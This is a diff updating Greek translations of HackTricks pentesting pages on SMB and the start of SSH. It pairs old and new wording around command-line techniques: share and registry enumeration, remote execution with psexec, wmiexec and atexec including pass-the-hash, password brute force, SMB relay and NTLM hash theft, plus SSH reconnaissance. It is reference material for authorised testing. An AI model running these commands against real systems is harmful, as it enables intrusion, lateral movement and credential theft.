# List shares on a remote computer (including hidden ones)
|
||||
net view \\<ip> /all
|
||||
```
|
||||
MMC Snap-in (γραφικό περιβάλλον)
|
||||
MMC Snap-in (γραφικό)
|
||||
```shell
|
||||
# Shared Folders: Shared Folders > Shares
|
||||
fsmgmt.msc
|
||||
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
|
||||
compmgmt.msc
|
||||
```
|
||||
explorer.exe (γραφικό), εισάγετε `\\<ip>\` για να δείτε τους διαθέσιμους μη κρυφούς κοινόχρηστους πόρους.
|
||||
explorer.exe (γραφικό), εισάγετε `\\<ip>\` για να δείτε τα διαθέσιμα μη κρυφά shares.
|
||||
|
||||
### Προσάρτηση ενός κοινόχρηστου φακέλου
|
||||
```bash
|
||||
@ -294,13 +296,13 @@ smbclient //<IP>/<share>
|
||||
Εντολές:
|
||||
|
||||
- mask: καθορίζει τη μάσκα που χρησιμοποιείται για να φιλτράρει τα αρχεία μέσα στον κατάλογο (π.χ. "" για όλα τα αρχεία)
|
||||
- recurse: ενεργοποιεί/απενεργοποιεί την αναδρομή (προεπιλογή: απενεργοποιημένη)
|
||||
- prompt: ενεργοποιεί/απενεργοποιεί την εμφάνιση προτροπής για ονόματα αρχείων (προεπιλογή: ενεργοποιημένη)
|
||||
- mget: αντιγράφει όλα τα αρχεία που ταιριάζουν με τη μάσκα από τον host στη μηχανή client
|
||||
- recurse: ενεργοποιεί/απενεργοποιεί την αναδρομή (προεπιλογή: off)
|
||||
- prompt: ενεργοποιεί/απενεργοποιεί την εμφάνιση αιτήματος για ονόματα αρχείων (προεπιλογή: on)
|
||||
- mget: αντιγράφει όλα τα αρχεία που ταιριάζουν με τη μάσκα από τον host στον client
|
||||
|
||||
(_Πληροφορίες από το manpage του smbclient_)
|
||||
(_Πληροφορίες από τη σελίδα man του smbclient_)
|
||||
|
||||
### Αναζήτηση Κοινόχρηστων Φακέλων Domain
|
||||
### Αναζήτηση κοινόχρηστων φακέλων Domain
|
||||
|
||||
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
|
||||
```bash
|
||||
@ -312,51 +314,65 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```bash
|
||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||
```
|
||||
Ειδικά ενδιαφέροντα από shares είναι τα αρχεία με όνομα **`Registry.xml`**, καθώς αυτά **ενδέχεται να περιέχουν passwords** για χρήστες ρυθμισμένους με **autologon** μέσω Group Policy. Επίσης τα αρχεία **`web.config`**, καθώς περιέχουν credentials.
|
||||
Ιδιαίτερα ενδιαφέροντα στα shares είναι τα αρχεία με όνομα **`Registry.xml`**, καθώς **μπορεί να περιέχουν κωδικούς** για χρήστες διαμορφωμένους με **autologon** μέσω Group Policy. Επίσης, αρχεία **`web.config`** συχνά περιέχουν διαπιστευτήρια.
|
||||
|
||||
> [!TIP]
|
||||
> Το **SYSVOL share** είναι **readable** από όλους τους authenticated users στο domain. Εκεί μπορεί να **βρείτε** πολλά διαφορετικά batch, VBScript, και PowerShell **scripts**.\
|
||||
> Θα πρέπει να **ελέγξετε** τα **scripts** μέσα σε αυτό καθώς μπορεί να **βρείτε** ευαίσθητες πληροφορίες όπως **passwords**.
|
||||
> Το **SYSVOL share** είναι **αναγνώσιμο** από όλους τους επαληθευμένους χρήστες στο domain. Εκεί μπορεί να **βρείτε** πολλά διαφορετικά batch, VBScript, και PowerShell **scripts**.\
|
||||
> Θα πρέπει να **ελέγξετε** τα **scripts** μέσα σε αυτό καθώς μπορεί να **βρείτε** ευαίσθητες πληροφορίες όπως **κωδικούς**.
|
||||
|
||||
## Ανάγνωση Registry
|
||||
|
||||
Μπορεί να είστε σε θέση να **διαβάσετε το registry** χρησιμοποιώντας κάποια ανακαλυφθέντα credentials. Impacket **`reg.py`** σας επιτρέπει να δοκιμάσετε:
|
||||
Μπορεί να καταφέρετε να **διαβάσετε το registry** χρησιμοποιώντας κάποια ανακαλυφθέντα **διαπιστευτήρια**. Το Impacket **`reg.py`** σας επιτρέπει να το δοκιμάσετε:
|
||||
```bash
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
|
||||
```
|
||||
## Post Exploitation
|
||||
## Μετά την Εκμετάλλευση
|
||||
|
||||
Η **προεπιλεγμένη ρύθμιση** ενός **Samba** διακομιστή βρίσκεται συνήθως στο `/etc/samba/smb.conf` και μπορεί να περιέχει κάποιες **επικίνδυνες ρυθμίσεις**:
|
||||
Η **προεπιλεγμένη ρύθμιση** ενός **Samba** διακομιστή συνήθως βρίσκεται στο `/etc/samba/smb.conf` και μπορεί να περιέχει κάποιες **επικίνδυνες ρυθμίσεις**:
|
||||
|
||||
| **Ρύθμιση** | **Περιγραφή** |
|
||||
| **Ρύθμιση** | **Περιγραφή** |
|
||||
| --------------------------- | ------------------------------------------------------------------- |
|
||||
| `browseable = yes` | Επιτρέπει την εμφάνιση των διαθέσιμων shares; |
|
||||
| `read only = no` | Απαγορεύει τη δημιουργία και τροποποίηση αρχείων; |
|
||||
| `read only = no` | Απαγορεύει τη δημιουργία και τροποποίηση αρχείων; |
|
||||
| `writable = yes` | Επιτρέπει στους χρήστες να δημιουργούν και να τροποποιούν αρχεία; |
|
||||
| `guest ok = yes` | Επιτρέπει τη σύνδεση στην υπηρεσία χωρίς χρήση κωδικού πρόσβασης; |
|
||||
| `guest ok = yes` | Επιτρέπει τη σύνδεση στην υπηρεσία χωρίς χρήση κωδικού; |
|
||||
| `enable privileges = yes` | Τηρεί τα προνόμια που έχουν ανατεθεί σε συγκεκριμένο SID; |
|
||||
| `create mask = 0777` | Ποιες άδειες πρέπει να δοθούν στα νεοδημιουργημένα αρχεία; |
|
||||
| `directory mask = 0777` | Ποιες άδειες πρέπει να δοθούν στους νεοδημιουργημένους καταλόγους; |
|
||||
| `logon script = script.sh` | Ποιο script πρέπει να εκτελείται κατά την είσοδο του χρήστη; |
|
||||
| `magic script = script.sh` | Ποιο script πρέπει να εκτελείται όταν το script κλείνει; |
|
||||
| `magic output = script.out` | Πού πρέπει να αποθηκεύεται η έξοδος του magic script; |
|
||||
| `create mask = 0777` | Ποιες άδειες πρέπει να ανατεθούν στα νεοδημιουργημένα αρχεία; |
|
||||
| `directory mask = 0777` | Ποιες άδειες πρέπει να ανατεθούν στους νεοδημιουργημένους καταλόγους; |
|
||||
| `logon script = script.sh` | Ποιο script πρέπει να εκτελεστεί κατά το login του χρήστη; |
|
||||
| `magic script = script.sh` | Ποιο script πρέπει να εκτελεστεί όταν το script τερματίζεται; |
|
||||
| `magic output = script.out` | Πού πρέπει να αποθηκευτεί η έξοδος του magic script; |
|
||||
|
||||
Η εντολή `smbstatus` παρέχει πληροφορίες για τον **διακομιστή** και για το **ποιος είναι συνδεδεμένος**.
|
||||
|
||||
## Authenticate using Kerberos
|
||||
## Πιστοποίηση μέσω Kerberos
|
||||
|
||||
Μπορείτε να **αυθεντικοποιηθείτε** στο **Kerberos** χρησιμοποιώντας τα εργαλεία **smbclient** και **rpcclient**:
|
||||
Μπορείτε να **αυθεντικοποιηθείτε** σε **Kerberos** χρησιμοποιώντας τα εργαλεία **smbclient** και **rpcclient**:
|
||||
```bash
|
||||
smbclient --kerberos //ws01win10.domain.com/C$
|
||||
rpcclient -k ws01win10.domain.com
|
||||
```
|
||||
Σε περιβάλλοντα μόνο με Kerberos (NTLM απενεργοποιημένο), οι προσπάθειες NTLM προς SMB μπορεί να επιστρέψουν `STATUS_NOT_SUPPORTED`. Διόρθωσε κοινά προβλήματα Kerberos και ανάγκασε Kerberos auth:
|
||||
```bash
|
||||
# sync clock to avoid KRB_AP_ERR_SKEW
|
||||
sudo ntpdate <dc.fqdn>
|
||||
|
||||
# use Kerberos with tooling (reads your TGT from ccache)
|
||||
netexec smb <dc.fqdn> -k
|
||||
```
|
||||
Για πλήρη ρύθμιση του client (δημιουργία krb5.conf, kinit, SSH GSSAPI/SPN ειδικές επισημάνσεις) δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../pentesting-kerberos-88/README.md
|
||||
{{#endref}}
|
||||
|
||||
## **Εκτέλεση Εντολών**
|
||||
|
||||
### **crackmapexec**
|
||||
|
||||
crackmapexec μπορεί να εκτελέσει εντολές εκμεταλλευόμενο οποιοδήποτε από τα **mmcexec, smbexec, atexec, wmiexec**, με το **wmiexec** να είναι η **προεπιλεγμένη** μέθοδος. Μπορείτε να υποδείξετε ποια επιλογή προτιμάτε να χρησιμοποιήσετε με την παράμετρο `--exec-method`:
|
||||
crackmapexec μπορεί να εκτελέσει εντολές **αξιοποιώντας** οποιοδήποτε από τα **mmcexec, smbexec, atexec, wmiexec**, με το **wmiexec** να είναι η **προεπιλεγμένη** μέθοδος. Μπορείτε να υποδείξετε ποια επιλογή προτιμάτε να χρησιμοποιήσετε με την παράμετρο `--exec-method`:
|
||||
```bash
|
||||
apt-get install crackmapexec
|
||||
|
||||
@ -380,8 +396,8 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||||
```
|
||||
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
|
||||
|
||||
Και οι δύο επιλογές θα **δημιουργήσουν μια νέα υπηρεσία** (χρησιμοποιώντας _\pipe\svcctl_ μέσω SMB) στο μηχάνημα του θύματος και θα τη χρησιμοποιήσουν για να **εκτελέσουν κάτι** (το **psexec** θα **ανεβάσει** ένα εκτελέσιμο αρχείο στο share ADMIN$ και το **smbexec** θα δείξει σε **cmd.exe/powershell.exe** και θα βάλει στα ορίσματα το payload --**file-less technique-**-).\
|
||||
**Περισσότερες πληροφορίες** για [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md) και [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
|
||||
Και οι δύο επιλογές θα **δημιουργήσουν μια νέα υπηρεσία** (χρησιμοποιώντας _\pipe\svcctl_ μέσω SMB) στο μηχάνημα του θύματος και θα τη χρησιμοποιήσουν για να **εκτελέσουν κάτι** (**psexec** θα **ανεβάσει** ένα εκτελέσιμο αρχείο στο ADMIN$ share και **smbexec** θα δείξει σε **cmd.exe/powershell.exe** και θα βάλει στα ορίσματα το payload --**file-less technique-**-).\
|
||||
**Περισσότερες πληροφορίες** για [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)και [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
|
||||
Στο **kali** βρίσκεται στο /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
@ -390,11 +406,11 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||||
psexec \\192.168.122.66 -u Administrator -p 123456Ww
|
||||
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
|
||||
```
|
||||
Χρησιμοποιώντας την **παράμετρο**`-k` μπορείτε να αυθεντικοποιηθείτε μέσω **kerberos** αντί για **NTLM**
|
||||
Χρησιμοποιώντας **parameter**`-k` μπορείτε να αυθεντικοποιηθείτε μέσω **kerberos** αντί για **NTLM**
|
||||
|
||||
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
|
||||
|
||||
Εκτελέστε αθόρυβα ένα command shell χωρίς να αγγίξετε τον δίσκο ή να εκκινήσετε μια νέα υπηρεσία χρησιμοποιώντας DCOM μέσω **port 135.**\
|
||||
Εκτελέστε διακριτικά ένα κέλυφος εντολών χωρίς να αγγίξετε το δίσκο ή να τρέξετε μια νέα υπηρεσία χρησιμοποιώντας DCOM μέσω **port 135.**\
|
||||
Στο **kali** βρίσκεται στο /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
@ -402,7 +418,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
|
||||
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
|
||||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||||
```
|
||||
Χρησιμοποιώντας την **παράμετρο**`-k` μπορείτε να αυθεντικοποιηθείτε στο **kerberos** αντί για **NTLM**
|
||||
Χρησιμοποιώντας την **παράμετρο** `-k` μπορείτε να αυθεντικοποιηθείτε μέσω **kerberos** αντί για **NTLM**
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
@ -411,60 +427,60 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
|
||||
```
|
||||
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
|
||||
|
||||
Εκτέλεση εντολών μέσω του Task Scheduler (χρησιμοποιώντας _\pipe\atsvc_ μέσω SMB).\
|
||||
Εκτέλεση εντολών μέσω του Προγραμματιστή εργασιών (χρησιμοποιώντας _\pipe\atsvc_ μέσω SMB).\
|
||||
Στο **kali** βρίσκεται στο /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
||||
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
|
||||
```
|
||||
## Impacket αναφορά
|
||||
## Αναφορά Impacket
|
||||
|
||||
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
|
||||
|
||||
### ksmbd επιφάνεια επίθεσης και fuzzing πρωτοκόλλων SMB2/SMB3 (syzkaller)
|
||||
### ksmbd επιφάνεια επίθεσης και fuzzing πρωτοκόλλου SMB2/SMB3 (syzkaller)
|
||||
|
||||
{{#ref}}
|
||||
ksmbd-attack-surface-and-fuzzing-syzkaller.md
|
||||
{{#endref}}
|
||||
|
||||
## **Bruteforce users credentials**
|
||||
## **Bruteforce credentials χρηστών**
|
||||
|
||||
**Αυτό δεν συνιστάται — μπορεί να κλειδώσετε έναν λογαριασμό αν υπερβείτε τον μέγιστο επιτρεπόμενο αριθμό προσπαθειών**
|
||||
**Αυτό δεν συνιστάται — μπορεί να μπλοκαριστεί ένας λογαριασμός αν υπερβείτε τον μέγιστο επιτρεπόμενο αριθμό προσπαθειών**
|
||||
```bash
|
||||
nmap --script smb-brute -p 445 <IP>
|
||||
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
|
||||
```
|
||||
## SMB relay attack
|
||||
|
||||
Αυτή η επίθεση χρησιμοποιεί το Responder toolkit για να **capture SMB authentication sessions** σε ένα εσωτερικό δίκτυο και να **relays** αυτές σε μια **target machine**. Εάν η authentication **session is successful**, θα σας οδηγήσει αυτόματα σε ένα **system** **shell**.\
|
||||
[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
Αυτή η επίθεση χρησιμοποιεί το Responder toolkit για να **παραλάβει συνεδρίες πιστοποίησης SMB** σε ένα εσωτερικό δίκτυο, και να τις **ανακατευθύνει** σε μια **μηχανή-στόχο**. Εάν η συνεδρία πιστοποίησης **είναι επιτυχής**, θα σας δώσει αυτόματα ένα **system** **shell**.\
|
||||
[**Περισσότερες πληροφορίες για αυτή την επίθεση εδώ.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
## SMB-Trap
|
||||
|
||||
Η βιβλιοθήκη των Windows URLMon.dll προσπαθεί αυτόματα να αυθεντικοποιηθεί στον host όταν μια σελίδα επιχειρεί να προσπελάσει περιεχόμενο μέσω SMB, για παράδειγμα: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
Η βιβλιοθήκη των Windows URLMon.dll προσπαθεί αυτόματα να πιστοποιηθεί στον host όταν μια σελίδα προσπαθεί να προσπελάσει κάποιο περιεχόμενο μέσω SMB, για παράδειγμα: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
|
||||
This happens with the functions:
|
||||
Αυτό συμβαίνει με τις συναρτήσεις:
|
||||
|
||||
- URLDownloadToFile
|
||||
- URLDownloadToCache
|
||||
- URLOpenStream
|
||||
- URLOpenBlockingStream
|
||||
|
||||
Οι οποίες χρησιμοποιούνται από ορισμένα προγράμματα περιήγησης και εργαλεία (όπως Skype)
|
||||
Οι οποίες χρησιμοποιούνται από ορισμένους browsers και εργαλεία (όπως Skype)
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
### SMBTrap using MitMf
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
## NTLM Theft
|
||||
|
||||
Παρόμοια με το SMB Trapping, η τοποθέτηση κακόβουλων αρχείων σε ένα target system (π.χ. μέσω SMB) μπορεί να προκαλέσει μια προσπάθεια SMB authentication, επιτρέποντας την υποκλοπή του NetNTLMv2 hash με ένα εργαλείο όπως το Responder. Το hash μπορεί στη συνέχεια να σπάσει offline ή να χρησιμοποιηθεί σε μια [SMB relay attack](#smb-relay-attack).
|
||||
Παρόμοια με το SMB Trapping, η τοποθέτηση κακόβουλων αρχείων σε ένα μηχάνημα-στόχο (π.χ. μέσω SMB) μπορεί να προκαλέσει προσπάθεια πιστοποίησης SMB, επιτρέποντας την υποκλοπή του NetNTLMv2 hash με ένα εργαλείο όπως το Responder. Το hash μπορεί στη συνέχεια να σπάσει offline ή να χρησιμοποιηθεί σε μια [SMB relay attack](#smb-relay-attack).
|
||||
|
||||
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
## HackTricks Αυτόματες Εντολές
|
||||
```
|
||||
Protocol_Name: SMB #Protocol Abbreviation if there is one.
|
||||
Port_Number: 137,138,139 #Comma separated if there is more than one.
|
||||
@ -497,8 +513,8 @@ getArch.py -target {IP}
|
||||
|
||||
With Creds
|
||||
smbmap -H {IP} -u {Username} -p {Password}
|
||||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
|
||||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
|
||||
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP}
|
||||
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
|
||||
crackmapexec smb {IP} -u {Username} -p {Password} --shares
|
||||
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
|
||||
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
|
||||
@ -533,4 +549,10 @@ Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
|
||||
|
||||
```
|
||||
## Αναφορές
|
||||
|
||||
- [NetExec (CME) wiki – Kerberos usage](https://www.netexec.wiki/)
|
||||
- [Pentesting Kerberos (88) – client setup and troubleshooting](../pentesting-kerberos-88/README.md)
|
||||
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,53 +2,53 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Βασικές Πληροφορίες
|
||||
|
||||
**SSH (Secure Shell ή Secure Socket Shell)** είναι ένα πρωτόκολλο δικτύου που επιτρέπει μια ασφαλή σύνδεση σε έναν υπολογιστή μέσω ενός μη ασφαλούς δικτύου. Είναι απαραίτητο για τη διατήρηση της εμπιστευτικότητας και της ακεραιότητας των δεδομένων κατά την πρόσβαση σε απομακρυσμένα συστήματα.
|
||||
**SSH (Secure Shell or Secure Socket Shell)** είναι ένα πρωτόκολλο δικτύου που επιτρέπει μια ασφαλή σύνδεση σε έναν υπολογιστή μέσω ενός μη ασφαλούς δικτύου. Είναι απαραίτητο για τη διατήρηση της εμπιστευτικότητας και της ακεραιότητας των δεδομένων κατά την πρόσβαση σε απομακρυσμένα συστήματα.
|
||||
|
||||
**Default port:** 22
|
||||
**Προεπιλεγμένη θύρα:** 22
|
||||
```
|
||||
22/tcp open ssh syn-ack
|
||||
```
|
||||
**SSH servers:**
|
||||
**Διακομιστές SSH:**
|
||||
|
||||
- [openSSH](http://www.openssh.org) – OpenBSD SSH, που περιλαμβάνεται σε BSD, διανομές Linux και Windows από τα Windows 10
|
||||
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – Υλοποίηση SSH για περιβάλλοντα με χαμηλή μνήμη και πόρους επεξεργαστή, που περιλαμβάνεται στο OpenWrt
|
||||
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – Υλοποίηση SSH για Windows, ο πελάτης χρησιμοποιείται συνήθως αλλά η χρήση του διακομιστή είναι σπανιότερη
|
||||
- [openSSH](http://www.openssh.org) – OpenBSD SSH, διανέμεται σε BSD, διανομές Linux και Windows από τα Windows 10
|
||||
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – Υλοποίηση SSH για περιβάλλοντα με περιορισμένη μνήμη και πόρους επεξεργαστή, περιλαμβάνεται στο OpenWrt
|
||||
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – Υλοποίηση SSH για Windows — ο client χρησιμοποιείται συχνά, ενώ η χρήση του server είναι σπανιότερη
|
||||
- [CopSSH](https://www.itefix.net/copssh) – υλοποίηση του OpenSSH για Windows
|
||||
|
||||
**SSH libraries (implementing server-side):**
|
||||
**Βιβλιοθήκες SSH (implementing server-side):**
|
||||
|
||||
- [libssh](https://www.libssh.org) – πολυπλατφορμική βιβλιοθήκη C που υλοποιεί το πρωτόκολλο SSHv2 με bindings σε [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) και [R](https://github.com/ropensci/ssh); χρησιμοποιείται από το KDE για sftp και από το GitHub για την υποδομή git SSH
|
||||
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – βιβλιοθήκη διακομιστή SSHv2 γραμμένη σε ANSI C και στοχευμένη για ενσωματωμένα, RTOS και περιβάλλοντα με περιορισμένους πόρους
|
||||
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Η βιβλιοθήκη Apache SSHD java βασίζεται στο Apache MINA
|
||||
- [paramiko](https://github.com/paramiko/paramiko) – Βιβλιοθήκη πρωτοκόλλου Python SSHv2
|
||||
- [libssh](https://www.libssh.org) – Πολυπλατφορμική βιβλιοθήκη C που υλοποιεί το πρωτόκολλο SSHv2 με bindings σε [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) και [R](https://github.com/ropensci/ssh); χρησιμοποιείται από το KDE για sftp και από το GitHub για την υποδομή git/SSH
|
||||
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – Βιβλιοθήκη server SSHv2 γραμμένη σε ANSI C και στοχευμένη σε ενσωματωμένα συστήματα, RTOS και περιβάλλοντα με περιορισμένους πόρους
|
||||
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Η βιβλιοθήκη Apache SSHD για Java βασίζεται στο Apache MINA
|
||||
- [paramiko](https://github.com/paramiko/paramiko) – Βιβλιοθήκη πρωτοκόλλου SSHv2 για Python
|
||||
|
||||
## Enumeration
|
||||
## Καταγραφή
|
||||
|
||||
### Banner Grabbing
|
||||
```bash
|
||||
nc -vn <IP> 22
|
||||
```
|
||||
### Automated ssh-audit
|
||||
### Αυτοματοποιημένο ssh-audit
|
||||
|
||||
ssh-audit είναι ένα εργαλείο για τον έλεγχο διαμόρφωσης του ssh server & client.
|
||||
ssh-audit είναι ένα εργαλείο για τον έλεγχο της διαμόρφωσης ssh server & client.
|
||||
|
||||
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) είναι ένα ενημερωμένο fork από [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)
|
||||
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) is an updated fork from [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)
|
||||
|
||||
**Χαρακτηριστικά:**
|
||||
|
||||
- Υποστήριξη πρωτοκόλλου SSH1 και SSH2;
|
||||
- ανάλυση διαμόρφωσης SSH client;
|
||||
- λήψη banner, αναγνώριση συσκευής ή λογισμικού και λειτουργικού συστήματος, ανίχνευση συμπίεσης;
|
||||
- συλλογή αλγορίθμων ανταλλαγής κλειδιών, host-key, κρυπτογράφησης και κωδικών αυθεντικοποίησης μηνυμάτων;
|
||||
- έξοδος πληροφοριών αλγορίθμου (διαθέσιμο από, αφαιρεθεί/απενεργοποιηθεί, μη ασφαλές/αδύναμο/παλαιό, κ.λπ.);
|
||||
- έξοδος συστάσεων αλγορίθμου (προσθήκη ή αφαίρεση με βάση την αναγνωρισμένη έκδοση λογισμικού);
|
||||
- έξοδος πληροφοριών ασφαλείας (σχετικά ζητήματα, ανατεθείσα λίστα CVE, κ.λπ.);
|
||||
- ανάλυση συμβατότητας έκδοσης SSH με βάση τις πληροφορίες αλγορίθμου;
|
||||
- ιστορικές πληροφορίες από OpenSSH, Dropbear SSH και libssh;
|
||||
- λειτουργεί σε Linux και Windows;
|
||||
- χωρίς εξαρτήσεις
|
||||
- Υποστήριξη server για τα πρωτόκολλα SSH1 και SSH2;
|
||||
- Αναλύει τη διαμόρφωση SSH client;
|
||||
- Λαμβάνει banner, αναγνωρίζει device ή software και λειτουργικό σύστημα, εντοπίζει compression;
|
||||
- Συλλογή αλγορίθμων key-exchange, host-key, encryption και message authentication code;
|
||||
- Παράγει πληροφορίες για τους αλγορίθμους (διαθέσιμο από, αφαιρέθηκε/απενεργοποιήθηκε, μη ασφαλές/αδύναμο/παρωχημένο, κ.λπ.);
|
||||
- Παράγει συστάσεις για αλγορίθμους (προσθήκη ή αφαίρεση με βάση την αναγνωρισμένη έκδοση του software);
|
||||
- Παράγει πληροφορίες ασφάλειας (σχετικά θέματα, λίστα ανατεθέντων CVE, κ.λπ.);
|
||||
- Αναλύει τη συμβατότητα εκδόσεων SSH βάσει πληροφοριών αλγορίθμων;
|
||||
- Ιστορικές πληροφορίες από OpenSSH, Dropbear SSH και libssh;
|
||||
- Τρέχει σε Linux και Windows;
|
||||
- Χωρίς εξαρτήσεις
|
||||
```bash
|
||||
usage: ssh-audit.py [-1246pbcnjvlt] <host>
|
||||
|
||||
@ -69,17 +69,17 @@ use -t to change timeout)
|
||||
(default: 5)
|
||||
$ python3 ssh-audit <IP>
|
||||
```
|
||||
[Δείτε το σε δράση (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp)
|
||||
[See it in action (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp)
|
||||
|
||||
### Δημόσιο SSH κλειδί του διακομιστή
|
||||
```bash
|
||||
ssh-keyscan -t rsa <IP> -p <PORT>
|
||||
```
|
||||
### Αδύνατοι Κρυπτογραφικοί Αλγόριθμοι
|
||||
### Αδύναμοι Αλγόριθμοι Κρυπτογράφησης
|
||||
|
||||
Αυτό ανακαλύπτεται από προεπιλογή από το **nmap**. Αλλά μπορείτε επίσης να χρησιμοποιήσετε το **sslcan** ή το **sslyze**.
|
||||
Ανακαλύπτεται από προεπιλογή από το **nmap**. Αλλά μπορείτε επίσης να χρησιμοποιήσετε το **sslcan** ή το **sslyze**.
|
||||
|
||||
### Scripts Nmap
|
||||
### Σενάρια Nmap
|
||||
```bash
|
||||
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
|
||||
nmap -p22 <ip> -sV # Retrieve version
|
||||
@ -95,17 +95,17 @@ nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check a
|
||||
|
||||
### Username Enumeration
|
||||
|
||||
Σε ορισμένες εκδόσεις του OpenSSH μπορείτε να κάνετε μια επίθεση χρονισμού για να καταμετρήσετε τους χρήστες. Μπορείτε να χρησιμοποιήσετε ένα module του metasploit για να εκμεταλλευτείτε αυτό:
|
||||
Σε μερικές εκδόσεις του OpenSSH μπορείτε να κάνετε μια timing attack για να enumerate users. Μπορείτε να χρησιμοποιήσετε ένα metasploit module in order to exploit this:
|
||||
```
|
||||
msf> use scanner/ssh/ssh_enumusers
|
||||
```
|
||||
### [Brute force](../generic-hacking/brute-force.md#ssh)
|
||||
|
||||
